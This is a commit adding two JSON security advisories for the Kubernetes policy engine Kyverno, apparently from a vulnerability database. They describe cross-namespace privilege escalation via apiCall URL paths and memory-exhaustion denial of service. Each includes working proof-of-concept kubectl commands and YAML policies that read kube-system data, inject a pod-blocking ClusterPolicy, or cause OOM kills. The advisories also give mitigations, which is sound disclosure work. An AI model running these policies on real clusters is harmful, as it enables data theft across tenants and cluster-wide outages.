Skip to content

Commit 0759eb3

Browse files
1 parent 6a6ae14 commit 0759eb3

2 files changed

Lines changed: 169 additions & 0 deletions

File tree

Lines changed: 85 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,85 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-8p9x-46gm-qfx2",
4+
"modified": "2026-01-27T18:01:26Z",
5+
"published": "2026-01-27T18:01:26Z",
6+
"aliases": [
7+
"CVE-2026-22039"
8+
],
9+
"summary": "Kyverno Cross-Namespace Privilege Escalation via Policy apiCall",
10+
"details": "### Summary\n\nA critical authorization boundary bypass in namespaced Kyverno Policy [apiCall](https://kyverno.io/docs/policy-types/cluster-policy/external-data-sources/#url-paths). The resolved `urlPath` is executed using the Kyverno admission controller ServiceAccount, with no enforcement that the request is limited to the policy’s namespace.\n\nAs a result, any authenticated user with permission to create a namespaced Policy can cause Kyverno to perform Kubernetes API requests using Kyverno’s admission controller identity, targeting any API path allowed by that ServiceAccount’s RBAC. This breaks namespace isolation by enabling cross-namespace reads (for example, ConfigMaps and, where permitted, Secrets) and allows cluster-scoped or cross-namespace writes (for example, creating ClusterPolicies) by controlling the urlPath through context variable substitution.\n\n### Details\n\nThe vulnerability exists in how Kyverno handles `apiCall` context entries. The code substitutes variables into the `URLPath` field without sanitizing the output or validating that the resulting path is authorized for the scope of the policy.\n\n1. In `pkg/engine/apicall/apiCall.go`, the `Fetch` method performs variable substitution on the entire `APICall` object, including the `URLPath`.\n ```go\n // pkg/engine/apicall/apiCall.go\n func (a *apiCall) Fetch(ctx context.Context) ([]byte, error) {\n // Variable substitution happens here\n call, err := variables.SubstituteAllInType(a.logger, a.jsonCtx, a.entry.APICall)\n // ...\n data, err := a.Execute(ctx, &call.APICall)\n ```\n\n2. In `pkg/engine/apicall/executor.go`, the `Execute` method delegates to `executeK8sAPICall`, which passes the raw path directly to the Kubernetes client's `RawAbsPath` method.\n ```go\n // pkg/engine/apicall/executor.go\n func (a *executor) executeK8sAPICall(ctx context.Context, path string, method kyvernov1.Method, ...) ([]byte, error) {\n // ...\n // Path is used directly in the raw API call\n jsonData, err := a.client.RawAbsPath(ctx, path, string(method), requestData)\n ```\n\nBecause `RawAbsPath` executes a direct HTTP request to the API server using Kyverno's admission controller service account (which typically has broad permissions), an attacker can construct any valid API path to access and mutate resources they shouldn't have access to.\n\n### PoC 001 - Data exfiltration\nThe following steps demonstrate how a user restricted to the `default` namespace (with no access to `kube-system`) can read a sensitive ConfigMap from the `kube-system` namespace.\n\n**0. Setup kind + Kyverno**\n\nTested with Kyverno v1.16.1 on k8s v1.34.0.\n\n```bash\nkind create cluster\nhelm repo add kyverno https://kyverno.github.io/kyverno/\nhelm repo update\nhelm install kyverno kyverno/kyverno -n kyverno --create-namespace\n```\n\n**1. Setup target and low-privileged user**\nCreate a confidential resource in a privileged namespace, and create a restricted user `policy-admin` who only has permissions to manage policies in the `default` namespace.\n```bash\n# Create confidential data in kube-system\nkubectl create configmap target-cm -n kube-system --from-literal=key=confidential-data\n\n# Create a restricted service account\nkubectl create sa policy-admin -n default\n\n# Create a role for managing policies and configmaps in default namespace only\nkubectl create role policy-admin-role -n default \\\n --verb=create,get,list,update,delete \\\n --resource=policies.kyverno.io,configmaps\n\n# Bind the role to the service account\nkubectl create rolebinding policy-admin-binding -n default \\\n --role=policy-admin-role \\\n --serviceaccount=default:policy-admin\n\n# Verify the user cannot access kube-system\nkubectl auth can-i get configmaps -n kube-system --as=system:serviceaccount:default:policy-admin\n# Output: no\n```\n\n**2. Create malicious policy as the restricted user**\nImpersonating the restricted user `policy-admin`, apply a namespaced `Policy` in the `default` namespace.\n```yaml\ncat <<EOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f -\napiVersion: kyverno.io/v1\nkind: Policy\nmetadata:\n name: cross-ns-leak\n namespace: default\nspec:\n validationFailureAction: Enforce\n rules:\n - name: leak-config\n match:\n resources:\n kinds:\n - ConfigMap\n context:\n - name: leakedData\n apiCall:\n # Injection happens here via annotations\n urlPath: \"/api/v1/namespaces/{{request.object.metadata.annotations.target_ns}}/configmaps/{{request.object.metadata.annotations.target_name}}\"\n jmesPath: \"data.key\"\n validate:\n # The leaked data is returned in the denial message\n message: \"LEAKED DATA: {{leakedData}}\"\n deny: {}\nEOF\n```\n\n**3. Trigger the leak**\nAs the restricted user, create a ConfigMap in the `default` namespace with annotations pointing to the target resource in `kube-system`.\n```yaml\ncat <<EOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f -\napiVersion: v1\nkind: ConfigMap\nmetadata:\n name: trigger-leak\n namespace: default\n annotations:\n target_ns: \"kube-system\"\n target_name: \"target-cm\"\ndata: {}\nEOF\n```\n\n**4. Result**\nThe creation request is denied, but the error message contains the secret data from `kube-system`, proving the privilege escalation.\n\n```\nError from server: error when creating \"STDIN\": admission webhook \"validate.kyverno.svc-fail\" denied the request: \n\nresource ConfigMap/default/trigger-leak was blocked due to the following policies \n\ncross-ns-leak:\n leak-config: 'LEAKED DATA: confidential-data'\n```\n\n### PoC 002 - ClusterPolicy injection\n\nContinue from the setup from the previous PoC.\n\nThis vulnerability also allows creation of cluster-level resources. For example, a low-privileged user can create a `ClusterPolicy` that impacts the entire cluster. In this PoC, a low-privileged user creates a cluster policy, which prevents scheduling of pods.\n\n**1. Apply a malicious policy**\n\n```yaml\ncat <<EOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f -\napiVersion: kyverno.io/v1\nkind: Policy\nmetadata:\n name: mutation-cpol\n namespace: default\nspec:\n validationFailureAction: Enforce\n rules:\n - name: create-malicious-cpol\n match:\n resources:\n kinds:\n - ConfigMap\n context:\n - name: mutation\n apiCall:\n urlPath: \"/apis/kyverno.io/v1/clusterpolicies\"\n method: POST\n data:\n - key: apiVersion\n value: \"kyverno.io/v1\"\n - key: kind\n value: \"ClusterPolicy\"\n - key: metadata\n value:\n name: \"malicious-cpol\"\n - key: spec\n value:\n validationFailureAction: Enforce\n rules:\n - name: block-all\n match:\n resources:\n kinds:\n - Pod\n validate:\n message: \"Blocked by malicious policy\"\n deny: {}\n validate:\n message: \"Created ClusterPolicy: {{mutation.metadata.name}}\"\n deny: {}\nEOF\n```\n\n**2. Trigger the policy**\n\n```bash\ncat <<EOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f -\napiVersion: v1\nkind: ConfigMap\nmetadata:\n name: trigger-cpol\n namespace: default\ndata: {}\nEOF\n```\n\nThis outputs an error:\n\n```\nError from server: error when creating \"STDIN\": admission webhook \"validate.kyverno.svc-fail\" denied the request:\n\nresource ConfigMap/default/trigger-cpol was blocked due to the following policies\n\nmutation-cpol:\n create-malicious-cpol: \"\"\n```\n\n**3. Observe the new cluster policy**\n\n```bash\nkubectl get clusterpolicy malicious-cpol\n```\n\nOutputs:\n\n```\nNAME ADMISSION BACKGROUND READY AGE MESSAGE\nmalicious-cpol true true True 4m58s Ready\n```\n\n**4. Verify that no new pods can be created (even as a cluster admin)**\n\nRun:\n\n```\nkubectl run --image=nginx foo\n```\n\nOutputs:\n\n```\nError from server: admission webhook \"validate.kyverno.svc-fail\" denied the request:\n\nresource Pod/default/foo was blocked due to the following policies\n\nmalicious-cpol:\n block-all: Blocked by malicious policy\n```\n### Impact\n\n- Users with `Policy` creation rights in a single namespace can escalate privileges (context of Kyverno admission controller).\n- Since `apiCall` supports `POST`, attackers can potentially create resources in privileged namespaces (e.g., creating a RoleBinding in `kube-system` to grant themselves cluster-admin) if the Kyverno service account has write permissions.\n- Attackers can disrupt the entire cluster by creating a malicious `ClusterPolicy` that blocks critical operations (e.g., preventing Pod scheduling), as demonstrated in PoC #2.\n- Sensitive data (Secrets, tokens, configuration) can be exfiltrated from any namespace, depending on the RBAC.\n- In shared clusters, one tenant can read data belonging to other tenants or the cluster administration.\n\nThe following command should be run on a per-environment basis to understand impact:\n\n```\nkubectl auth can-i --as=system:serviceaccount:kyverno:kyverno-admission-controller --list\n```\n\nBy default, this does not include Secrets. \n\n\n### Mitigation\n\nThe `apiCall` logic should enforce that `Policy` resources (namespaced policies) can only access resources within the same namespace. If a `Policy` attempts to access a resource in a different namespace via `urlPath`, the request should be blocked. `ClusterPolicy` resources are unaffected by this restriction as they are intended to operate cluster-wide.\n\nThe mitigation logic validates the `urlPath` for namespaced policies by ensuring:\n1. The path explicitly contains the `/namespaces/<namespace>/` segment.\n2. The namespace in the path matches the policy's namespace.\n3. Requests missing the namespace segment (targeting cluster-scoped resources) or targeting a different namespace are rejected.\n\nThis effectively prevents both the cross-namespace data leak and the creation of cluster-scoped resources (like `ClusterPolicy`) or resources in other namespaces via the `POST` method.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/kyverno/kyverno"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "1.15.3"
32+
}
33+
]
34+
}
35+
]
36+
},
37+
{
38+
"package": {
39+
"ecosystem": "Go",
40+
"name": "github.com/kyverno/kyverno"
41+
},
42+
"ranges": [
43+
{
44+
"type": "ECOSYSTEM",
45+
"events": [
46+
{
47+
"introduced": "1.16.0-rc.1"
48+
},
49+
{
50+
"fixed": "1.16.3"
51+
}
52+
]
53+
}
54+
]
55+
}
56+
],
57+
"references": [
58+
{
59+
"type": "WEB",
60+
"url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-8p9x-46gm-qfx2"
61+
},
62+
{
63+
"type": "WEB",
64+
"url": "https://github.com/kyverno/kyverno/commit/e0ba4de4f1e0ca325066d5095db51aec45b1407b"
65+
},
66+
{
67+
"type": "WEB",
68+
"url": "https://github.com/kyverno/kyverno/commit/eba60fa856c781bcb9c3be066061a3df03ae4e3e"
69+
},
70+
{
71+
"type": "PACKAGE",
72+
"url": "https://github.com/kyverno/kyverno"
73+
}
74+
],
75+
"database_specific": {
76+
"cwe_ids": [
77+
"CWE-269",
78+
"CWE-918"
79+
],
80+
"severity": "CRITICAL",
81+
"github_reviewed": true,
82+
"github_reviewed_at": "2026-01-27T18:01:26Z",
83+
"nvd_published_at": null
84+
}
85+
}
Lines changed: 84 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,84 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-r2rj-wwm5-x6mq",
4+
"modified": "2026-01-27T18:02:22Z",
5+
"published": "2026-01-27T18:02:22Z",
6+
"aliases": [
7+
"CVE-2026-23881"
8+
],
9+
"summary": "Kyverno Denial of Service via Context Variable Amplification in Policy Engine",
10+
"details": "## Summary\n\nUnbounded memory consumption in Kyverno's policy engine allows users with policy creation privileges to cause Denial of Serviceby crafting policies that exponentially amplify string data through context variables.\n\n## Details\n\nFor example, the `random()` JMESPath function in `pkg/engine/jmespath/functions.go` generates random strings. Combined with the `join()` function, an attacker can create exponential string amplification through context variable chaining:\n\nThe PoC attack uses exponential doubling:\n- `l0` = `random('[a-zA-Z0-9]{1000}')` → 1KB\n- `l1` = `join('', [l0, l0])` → 2KB\n- `l2` = `join('', [l1, l1])` → 4KB\n- ... continues to `l18` → 256MB\n\nThe context evaluation has no cumulative size limit, allowing unbounded memory allocation.\n\n## PoC\n\nTested on Kyverno v1.16.1 on k8s v1.34.0 (kind).\n\n1. Create namespace:\n```bash\nkubectl create namespace poc-test\n```\n\n2. Observe pod statuses from `kyverno` namespace on another terminal:\n```bash\nkubectl get pods -n kyverno -w\n```\n\n2. Apply malicious policy:\n```yaml\napiVersion: kyverno.io/v1\nkind: Policy\nmetadata:\n name: memory-exhaustion-poc\n namespace: poc-test\nspec:\n validationFailureAction: Enforce\n rules:\n - name: exhaust-memory\n match:\n any:\n - resources:\n kinds:\n - ConfigMap\n context:\n - name: l0\n variable:\n jmesPath: random('[a-zA-Z0-9]{1000}')\n - name: l1\n variable:\n jmesPath: join('', [l0, l0])\n - name: l2\n variable:\n jmesPath: join('', [l1, l1])\n - name: l3\n variable:\n jmesPath: join('', [l2, l2])\n - name: l4\n variable:\n jmesPath: join('', [l3, l3])\n - name: l5\n variable:\n jmesPath: join('', [l4, l4])\n - name: l6\n variable:\n jmesPath: join('', [l5, l5])\n - name: l7\n variable:\n jmesPath: join('', [l6, l6])\n - name: l8\n variable:\n jmesPath: join('', [l7, l7])\n - name: l9\n variable:\n jmesPath: join('', [l8, l8])\n - name: l10\n variable:\n jmesPath: join('', [l9, l9])\n - name: l11\n variable:\n jmesPath: join('', [l10, l10])\n - name: l12\n variable:\n jmesPath: join('', [l11, l11])\n - name: l13\n variable:\n jmesPath: join('', [l12, l12])\n - name: l14\n variable:\n jmesPath: join('', [l13, l13])\n - name: l15\n variable:\n jmesPath: join('', [l14, l14])\n - name: l16\n variable:\n jmesPath: join('', [l15, l15])\n - name: l17\n variable:\n jmesPath: join('', [l16, l16])\n - name: l18\n variable:\n jmesPath: join('', [l17, l17])\n validate:\n message: \"Memory exhaustion PoC\"\n deny:\n conditions:\n any:\n - key: \"{{ l18 }}\"\n operator: Equals\n value: \"impossible-match\"\n```\n\nAs soon as you apply this, you'll see the reports controller gets OOM killed and the container enters a crash loop.\n\n4. Trigger policy evaluation on the admission controller:\n```bash\nkubectl create configmap trigger -n poc-test --from-literal=key=value\n```\n\nResponse:\n\n```\nerror: failed to create configmap: Internal error occurred: failed calling webhook \"validate.kyverno.svc-fail\": failed to call webhook: Post \"https://kyverno-svc.kyverno.svc:443/validate/fail?timeout=10s\": EOF\n```\n\nThe Kyverno admission controller has allocated ~256MB of memory per policy evaluation. The default memory limit from the Helm chart is 256 MB, and the process crashes.\n\n5. Check pod status from the `kyverno` namespace:\n\n```bash\nkubectl get pods -n kyverno\n```\n\nOutputs:\n\n```\nkyverno kyverno-admission-controller-58cb4b76c9-wd45p 0/1 OOMKilled 1 (20s ago) 178m\nkyverno kyverno-reports-controller-576566fb98-pfb2f 0/1 OOMKilled 1 (1s ago) 178m\n```\n\nWhile the reports controller is in a crash loop, the admission controller crashes only on trigger. You can re-run the same `kubectl create configmap` command from above and reproduce the crash.\n\n\n## Impact\n\nDenial of Service with cluster-wide security impact. Users with `Policy` or `ClusterPolicy` creation privileges can exhaust memory in the Kyverno admission controller and the reports controller, causing:\n\n- Pod OOMKill and service disruption\n- No logs on why the crash occurred (admission controller, reports controller)\n- Cluster-wide policy enforcement disabled and security policies stop being evaluated\n- If `failurePolicy: Ignore` is configured, workloads bypass all validation during outage\n- Applications depending on Kyverno mutations may deploy with incorrect configurations\n\nAny Kyverno deployment where non-admin users can create policies (e.g., namespace-scoped Policy resources) is affected.\n\n## Mitigation\n\nAdd a context size limit to prevent unbounded memory allocation during policy evaluation.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/kyverno/kyverno"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "1.15.3"
32+
}
33+
]
34+
}
35+
]
36+
},
37+
{
38+
"package": {
39+
"ecosystem": "Go",
40+
"name": "github.com/kyverno/kyverno"
41+
},
42+
"ranges": [
43+
{
44+
"type": "ECOSYSTEM",
45+
"events": [
46+
{
47+
"introduced": "1.16.0-rc.1"
48+
},
49+
{
50+
"fixed": "1.16.3"
51+
}
52+
]
53+
}
54+
]
55+
}
56+
],
57+
"references": [
58+
{
59+
"type": "WEB",
60+
"url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-r2rj-wwm5-x6mq"
61+
},
62+
{
63+
"type": "WEB",
64+
"url": "https://github.com/kyverno/kyverno/commit/7a651be3a8c78dcabfbf4178b8d89026bf3b850f"
65+
},
66+
{
67+
"type": "WEB",
68+
"url": "https://github.com/kyverno/kyverno/commit/f5617f60920568a301740485472bf704892175b7"
69+
},
70+
{
71+
"type": "PACKAGE",
72+
"url": "https://github.com/kyverno/kyverno"
73+
}
74+
],
75+
"database_specific": {
76+
"cwe_ids": [
77+
"CWE-770"
78+
],
79+
"severity": "HIGH",
80+
"github_reviewed": true,
81+
"github_reviewed_at": "2026-01-27T18:02:22Z",
82+
"nvd_published_at": null
83+
}
84+
}

0 commit comments

Comments
 (0)